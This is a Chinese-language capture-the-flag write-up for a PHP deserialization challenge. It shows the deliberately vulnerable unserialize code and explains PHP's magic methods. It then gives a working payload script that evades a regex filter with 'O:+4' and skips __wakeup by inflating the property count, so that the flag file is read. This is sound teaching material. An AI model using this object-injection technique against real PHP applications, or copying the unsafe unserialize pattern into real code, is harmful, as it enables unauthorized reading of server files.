<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
__wakeup()
该方法是PHP反序列化时执行的第一个方法 , unserialize()会先检查是否存在
__wakeup()
方法 , 若存在则会先调用该方法 , 来预先准备对象需要的资源( 比如重新建立数据库连接 , 执行其他初始化操作等等 )
__construct()
与其它 OOP( 面向对象 ) 语言类似 , PHP中也存在构造方法 , 具有构造方法的类会在每次创建新对象前调用此方法 ,该方法常用于完成一些初始化工作 .
__destruct()
析构方法 , 当 某个对象的所有引用都被删除 或者 当对象被显式销毁 时 , 析构函数会被执行 .
回到题目中 , 看一看有哪些注意点
-
unserialize() 方法的参数来源于 GET 请求
虽然该请求获取的值经过一系列处理 ,包括一个Base64解码和一个正则过滤 , 但至少能确定该参数值是用户可控的 . 事实上这个正则过滤是可以绕过的 .
-
unserialize() 的
__wakeup()
方法在反序列化时 , PHP 会先执行
__wakeup()
函数 . 本题中__wakeup()
函数的作用为 : 将 $file 变量强制赋值为index.php
, 而题目又提示 flag 在fl4g.php
中 , 因此这又牵扯到一个老问题了 : 如何绕过__wakeup()
函数
然后就可以拿到 Flag 了 , 本题其实也就考了两个点 : 如何绕过正则表达式 以及 如何绕过 __wakeup()
方法 .
绕过正则表达式
preg_match('/[oc]:\d+:/i', $var)
匹配以(o或c:一个或多个数字:)的形式的字符串,i说明不区分大小写
通过O:4: ——> O:+4: 进行绕过
绕过_wakeup()函数
增加对象属性的个数就可以绕过。
构造playload
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$flag = new Demo('fl4g.php');
$flag = serialize($flag);
$flag = str_replace('O:4', 'O:+4',$flag); // 绕过正则
$flag = str_replace(':1:', ':2:' ,$flag); //绕过_wakeup()
$flag=base64_encode($flag);
echo $flag;
?>
拿到flag
注意:
不同属性的对象序列化后字符格式是不一样的
更多资料参考:Web - Web_php_unserialize - WriteUp - H0t-A1r-B4llo0n (guildhab.top)